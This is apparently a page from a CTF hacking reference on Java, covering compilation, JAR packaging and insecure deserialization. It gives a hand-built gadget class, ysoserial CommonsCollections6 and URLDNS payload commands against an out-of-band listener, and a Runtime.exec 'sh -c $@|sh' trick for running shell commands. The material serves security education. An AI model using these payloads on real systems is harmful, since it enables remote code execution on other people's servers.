🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • πŸ”£Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • πŸ”ŽForensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • βš™οΈReverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • πŸ“ŸBinary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • πŸ“²Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • πŸ€–Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • πŸͺŸWindows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • Description
  • Hello World
  • Libraries
  • Insecure Deserialization
  • ysoserial
  • DNS Probe using java.net
  • Runtime.exec() to Shell
  1. Languages

Java

An Object-Oriented programming language often used in enterprise environments

Description

Java is an Object-Oriented programming language that compiles into Java bytecode. The Java Virtual Machine (JVM) understands this bytecode and can run it. You code it in .java files and then there are a few more file types that the compiler goes through:

  • .java files are Java Source Code

  • .class files are the compiled bytecode

  • .jar files are a package of .class files (like a ZIP)

  • JVM unpacks .jar and runs .class bytecode

Hello World

Create a file that has the same name as the class:

HelloWorld.java
public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}

Then you can either compile and run it directly using java:

$ java HelloWorld.java
Hello, World!

Or compile it to bytecode, and run it later:

$ javac HelloWorld.java
$ file HelloWorld.class 
HelloWorld.class: compiled Java class data, version 55.0
$ java HelloWorld
Hello, World!

Lastly, you can bundle the .class files into a JAR with some information like the entry point. This requires a Manifest.txt file with a Main-Class key set to the main class. This class needs to have the main() function we defined with its exact function signature.

Manifest.txt
Main-Class: HelloWorld
$ jar cfm HelloWorld.jar Manifest.txt HelloWorld.class 
$ java -jar HelloWorld.jar 
Hello, World!

Libraries

Any programming language is made powerful by libraries. For Java, there are multiple build tools you can choose from for large projects, like Maven or Gradle. For a simple case, however, we can do this manually just using java commands.

Tree
HelloWorld.java
lib
└── jackson-databind-2.17.0.jar

Inside our source code, we can import the classes from this JAR now with the path from mvnrepository:

import com.fasterxml.jackson.databind.*;

After writing the code with this library that you want, use the classpath (-cp) option while compiling to add the libraries to the compiled version:

java -cp '.:./lib/*' HelloWorld.java

Insecure Deserialization

The ObjectOutputStream.writeObject() method can serialize an instance of an Object (that implements Serializable) into binary data (ByteArrayOutputStream). This can then be sent to any other system, which can reconstruct the Object by calling the ObjectInputStream.readObject() method on the binary data (ByteArrayInputStream).

Here is an example:

class Data implements Serializable {
    public String name;

    public Data(String name) {
        this.name = name;
    }
}
public class Example {
    public static void main(String[] args) throws Exception {
        // Create instance
        Data instance = new Data("Jorian");
        byte[] serialized = serialize(instance);
        System.out.println(Arrays.toString(serialized));  // [-84, -19, ..., 97, 110]
        // [...send over the network...]

        // Deserialize from byte array
        Data deserialized = (Data) deserialize(serialized);
        System.out.println(deserialized.name);  // "Jorian"
    }

    private static byte[] serialize(Object instance) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance);  // Create "explanation" of instance as bytes
        oos.close();

        return baos.toByteArray();
    }

    private static Object deserialize(byte[] serialized) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serialized));
        return ois.readObject();  // Set attributes on Data instance to recreate
    }
}

While this is useful and easy to implement, its flexibility has some security risks. The risk is an attacker passing serialized data to a deserializer with different types than the original type, or altering the data to make it malicious. In the above example, it expects to deserialize a Data Object, but the byte array can hold any type to deserialize into.

After being deserialized, it would obviously not pass as a valid Data Object, and not have a .name attribute for example. But some code that still executes is the custom code that parses the byte array into an instance, which might still contain sensitive actions that you can perform at will:

public class EvilGadget implements Serializable {
    private String command;
    
    public EvilGadget(String command) {
        this.command = command;
    }
    
    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();  // Set attributes (command) as default would
        Runtime.getRuntime().exec(command);  // Custom code
    }
}

The above could be some library function that the developer of this Example doesn't know about. The default readObject can be overridden in this way, with a .defaultReadObject() still being available to run the default method still. Before or after though, a developer can choose to write any extra code that needs to be executed to correctly deserialize the data. In the above gadget, a dangerous exec(command) call is included which can now be executed at will by the attacker by creating a malicious serialized object!

To exploit it, the attack must create and serialize a malicious object themselves, and then make the target deserialize it in some way:

class Generate {
    public static void main(String[] args) throws IOException {
        // Create malicious instance
        EvilGadget instance = new EvilGadget("calc.exe");
        // Serialize to byte array
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance);
        oos.close();
        // Print as Base64
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}

When the target deserializes the payload, the command attribute will be set and the exec() command in readObject() will be executed, launching a calculator on Windows.

While this example was very clear, most real-world exploits use multiple chained gadgets to eventually reach a sensitive function with user input. This is possible because attributes can be Objects as well, and their attributes can be more Objects, etc. Creating such a payload is very similar to the example above but just requires more new objects in arguments like this:

EvilUncle instance = new EvilUncle(new EvilParent(new EvilChild("calc.exe")));

ysoserial

Instead of searching and creating new gadget chains for every deserialization issue you find, often well-known chains in libraries used in many projects can be enough.

$ java -jar ysoserial.jar

Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
     Payload             Authors                                Dependencies                                                                                                                                                                                        
     -------             -------                                ------------                                                                                                                                                                                        
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                                      
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                                           
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0                                                                                                                                                         
     Clojure             @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                               
     CommonsCollections1 @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections2 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections3 @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections4 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                            
     Groovy1             @frohoff                               groovy:2.3.9                                                                                                                                                                                        
     Hibernate1          @mbechler                                                                                                                                                                                                                                  
     Hibernate2          @mbechler                                                                                                                                                                                                                                  
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
     JRMPClient          @mbechler                                                                                                                                                                                                                                  
     JRMPListener        @mbechler                                                                                                                                                                                                                                  
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                                        
     Jdk7u21             @frohoff                                                                                                                                                                                                                                   
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
     MozillaRhino1       @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
     MozillaRhino2       @_tint0                                js:1.7R2                                                                                                                                                                                            
     Myfaces1            @mbechler                                                                                                                                                                                                                                  
     Myfaces2            @mbechler                                                                                                                                                                                                                                  
     ROME                @mbechler                              rome:1.0                                                                                                                                                                                            
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
     URLDNS              @gebl                                                                                                                                                                                                                                      
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                                 
$ java -jar ysoserial.jar CommonsCollections6 'calc.exe' | base64 -w 0
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAe...

Often the easiest fix however is to simply generate payloads with an older Java version.

DNS Probe using java.net

Start listener
$ interactsh-client
[INF] Listing 1 payload for OOB Testing
[INF] c23b2la0kl1krjcrdj10cndmnioyyyyyn.oast.pro
Generate payload
$ java -jar ysoserial.jar URLDNS 'http://cj79geiq8gua4a3eseu0jheqyjanc9t8k.oast.pro' | base64 -w 0
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgA...

Runtime.exec() to Shell

For a proof-of-concept, executing a simple program like calc.exe on Windows may be enough. However, for Linux and more complicated payloads, you might require special bash syntax like | pipes or > redirects. Take the following example:

Runtime.getRuntime().exec("id > /tmp/pwned")

It does not write to /tmp/pwned, but instead, runs id with the arguments '>' and '/tmp/pwned':

$ id '>' '/tmp/pwned'
id: extra operand β€˜/tmp/pwned’
Try 'id --help' for more information.
Runtime.getRuntime().exec("sh -c $@|sh . echo id > /tmp/pwned")

Some more tricks include using bash with Base64 and the {,} syntax, or using Python or Perl to evaluate code in a single command. Use the generator below to create these payloads easily:

PreviouspostMessage ExploitationNextC#

Last updated 1 year ago

In the above file, the extra newline at the end is important for some reason, don't forget it! Afterward, you can bundle the files into a .jar ():

We'll start by finding a library JAR we want to use. We'll take as an example that we can find on the site. After choosing a specific version, we find a button to download the .jar file`: . This file will need to be included along with your source code. We'll put it in a lib/ folder next to the source code:

The ysoserial tool contains a that work on different versions and libraries. Depending on which your target uses, any of these can be a quick win.

Use a payload by choosing the name as the first argument, and a fitting command as the second. A payload like requires a command, so the following will generate it:

If you are receiving InaccessibleObjectException or IllegalAccessError, this is because Java >12 does not allow the way ysoserial accesses classes. The --illegal-access=permit argument can be added to fix it, but after Java 17 even this is not allowed. From there, explicit --add-opens arguments need to be added which can do for you.

A useful payload for confirming an insecure deserialization vulnerability is in ysoserial. This has no dependencies and performs a DNS lookup of a URL you provide.

For a full explanation, see . The summary is that the java.net.URL class has a .hashCode() method that resolves the given URL and this method is automatically called when it is put into a java.util.HashMap.

Start a DNS listener using Burp Suite Professional, or using . Then generate the payload to execute on your target:

For a reverse shell or more complicated proof-of-concept, you can circumvent this using a few different tricks. uses $@ together with piping into |sh to re-enable the use of these symbols, as a string is directly put into the STDIN of sh. The following payload would work:

🌎
source
collection of payloads
CommonsCollections6
this gist
URLDNS
this page
interactsh
The first
jackson-databind
mvnrepository
Insecure Deserialization | Tutorials & Examples | Snyk LearnSnyk Learn
Great simple introduction to the idea of Insecure Deserialization in Java
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.GitHub
Tool for generating Java Insecure Deserialization payload using well-known chains
Runtime.exec Payload GeneraterAresX's Blog
Payload Generator for sh, bash, PowerShell, Python and Perl tricks for Runtime.exec()
Logo
Logo
Logo